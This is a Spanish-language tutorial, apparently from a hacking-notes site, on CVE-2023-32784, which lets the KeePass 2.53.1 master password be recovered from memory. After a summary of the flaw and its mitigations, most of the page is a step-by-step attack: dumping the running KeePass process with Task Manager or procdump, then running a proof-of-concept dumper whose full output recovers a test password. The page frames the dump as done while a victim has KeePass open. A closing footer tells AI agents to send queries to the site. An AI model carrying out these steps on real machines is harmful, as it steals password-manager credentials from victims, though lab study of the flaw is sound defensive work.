# CVE-2023-32784 (Keepass-password-dump)

## <mark style="color:purple;">Información de la vulnerabilidad</mark>

La vulnerabilidad **CVE-2023-32784** afecta a versiones anteriores a KeePass 2.54. Esta falla permite extraer la contraseña maestra en texto claro desde la memoria del sistema, incluso si la base de datos está bloqueada o KeePass ya no está en ejecución. Los datos residuales de contraseñas ingresadas permanecen en ubicaciones como el *memory dump*, el archivo de intercambio (pagefile.sys), o el archivo de hibernación (hiberfil.sys).

El problema radica en cómo KeePass maneja las contraseñas en su cuadro de texto personalizado (*SecureTextBoxEx*), donde se almacenan fragmentos del texto ingresado en la memoria de forma no segura. Aunque el primer carácter de la contraseña no es recuperable, los demás pueden reconstruirse usando herramientas específicas, como el script **keepass-password-dumper**, desarrollado como prueba de concepto por investigadores.

Una mitigación ha sido introducida en KeePass 2.54 mediante el uso de llamadas a la API de Windows que insertan cadenas aleatorias para dificultar la recuperación de datos de memoria. Sin embargo, esta vulnerabilidad no puede explotarse remotamente y requiere acceso físico o malware en el sistema afectado【14】【15】【16】.

#### Recomendaciones:

* Actualiza a **KeePass 2.54** o superior.
* Elimina archivos como dumps de memoria, archivos de hibernación y de intercambio después de cerrar KeePass.
* Asegura el dispositivo contra malware, ya que la explotación requiere acceso local.

Más información sobre esta vulnerabilidad está disponible en [SecurityWeek](https://www.securityweek.com) y la [base de datos CVE](https://cve.mitre.org).

## <mark style="color:purple;">Técnica de la vulnerabilidad</mark>

Para poder realizar esta tecnica la version de `keepass` tiene que ser la `2.53.1` ya que es la version vulnerable, junto con algunas dependencias que vamos a necesitar mas, todo esta en el siguiente link:

URL = [Download Tools](https://drive.google.com/file/d/1QdcU3m57b5v3cgCAWjdFoRqnX8VFFXxq/view?usp=sharing)

Una vez que descomprimamos el archivo, veremos `3` instaladores llamados:

```
dotnet-runtime-7.0.20-win-x64.exe
dotnet-sdk-9.0.101-win-x64.exe
KeePass-2.53.1-Setup.exe
```

Tendremos que instalar los `3` para preparar nuestro entorno y el instalador del `keepass` lo instalaremos en nuestro entorno vulnerable, cuando se haya instalado `keepass` tendremos que crear una base de datos asignandole una contraseña la cual vamos a descubrir con la tecnica, en mi caso pondre `secretpassword`, por lo que nos metera en la base de datos y teniendo la base de datos abierta y activa, tendremos que realizar un volcado de memoria de la misma.

En este punto un atacante tendra que esperar hasta que la victima tenga el `keepass` abierto, por lo que nos iremos al `administrador de tareas` y buscaremos `keepass`, veremos algo asi:

<figure><img src="/files/KjfSsjd4h1z279qA16WJ" alt=""><figcaption></figcaption></figure>

Por lo que le daremos `click derecho` -> `Crear archivo de volcado de memoria` y esto nos lo creara, le daremos a `Abrir ubicacion del archivo` y lo pegaremos donde tengamos la carpeta que descomprimimos inicialmente entrando en ella y pegandola dentro de la carpeta llamada `keepass-password-dumper-main`.

Una vez echo eso y teniendo el `.dmp` dentro de la carpeta abriremos una terminal en la misma carpeta `keepass-password-dumper-main` y ejecutaremos lo siguiente:

```powershell
dotnet run <VOLCADO_KEEPASS>
```

> Ejemplo:

```powershell
dotnet run KeePass.DMP
```

Info:

```
C:\Program Files\dotnet\sdk\9.0.101\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(32,5): warning NETSDK1138: La plataforma de destino "net7.0" no tiene soporte técnico y no recibirá actualizaciones de seguridad en el futuro. Para obtener más información sobre la directiva de soporte técnico, consulte https://aka.ms/dotnet-core-support.
C:\Program Files\dotnet\sdk\9.0.101\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(32,5): warning NETSDK1138: La plataforma de destino "net7.0" no tiene soporte técnico y no recibirá actualizaciones de seguridad en el futuro. Para obtener más información sobre la directiva de soporte técnico, consulte https://aka.ms/dotnet-core-support.
C:\Program Files\dotnet\sdk\9.0.101\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.EolTargetFrameworks.targets(32,5): warning NETSDK1138: La plataforma de destino "net7.0" no tiene soporte técnico y no recibirá actualizaciones de seguridad en el futuro. Para obtener más información sobre la directiva de soporte técnico, consulte https://aka.ms/dotnet-core-support.
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●e
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●c
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●r
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●e
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●t
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●p
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●a
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●s
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●w
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●o
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●r
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●●●●●●●●●●●●●d
Found: ●Ï
Found: ●£
Found: ●§
Found: ●e
Found: ●
Found: ●\
Found: ●e
Found: ●R
Found: ●6
Found: ●.
Found: ●À
Found: ●U
Found: ●J
Found: ●;
Found: ●w
Found: ●c

Password candidates (character positions):
Unknown characters are displayed as "●"
1.:     ●
2.:     e, Ï, £, §, , \, R, 6, ., À, U, J, ;, w, c,
3.:     c,
4.:     r,
5.:     e,
6.:     t,
7.:     p,
8.:     a,
9.:     s,
10.:    s,
11.:    w,
12.:    o,
13.:    r,
14.:    d,
Combined: ●{e, Ï, £, §, , \, R, 6, ., À, U, J, ;, w, c}cretpassword
```

Y veremos que nos la saco practicamente, pero de este resultado se puede intuir que es `secretpassword`.

### Version Terminal

Cuando el `keepass` este activo, podremos filtrar los proceso que se estan corriendo con el siguiente comando:

```powershell
tasklist | findstr KeePass
```

Info:

```
KeePass.exe                   9556 Console                    1   259.032 KB
```

Por lo que vemos el `PID` del `keepass` es el `9556`, por lo que nos descargaremos el siguiente archivo:

URL = [Download procdump](https://download.sysinternals.com/files/Procdump.zip)

Lo descomprimiremos y moveremos el ejecutable llamado `procdump64.exe` a la carpeta `keepass-password-dumper-main` y desde la terminal estando dentro de la carpeta pondremos lo siguiente para realizar un volcado del `keepass`:

```powershell
.\procdump64.exe -ma 9556 KeePass.dmp
```

Info:

```
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[14:24:12] Dump 1 initiated: C:\Users\clipd\Desktop\CVE-2023-32784\keepass-password-dumper-main\KeePass.dmp
[14:24:12] Dump 1 writing: Estimated dump file size is 260 MB.
[14:24:12] Dump 1 complete: 260 MB written in 0.4 seconds
[14:24:13] Dump count reached.
```

Vemos que se ha realizado correctamente y si vamos a ver si esta el archivo, veremos lo siguiente:

<figure><img src="/files/Fst2gibIL4ZKAcxKaFgj" alt=""><figcaption></figcaption></figure>

Se ha realizado correctamente, por lo que ya podremos seguir con el proceso para intentar `dumpear` la contraseña.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dise0.gitbook.io/h4cker_b00k/articulos/cve-2023-32784-keepass-password-dump.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
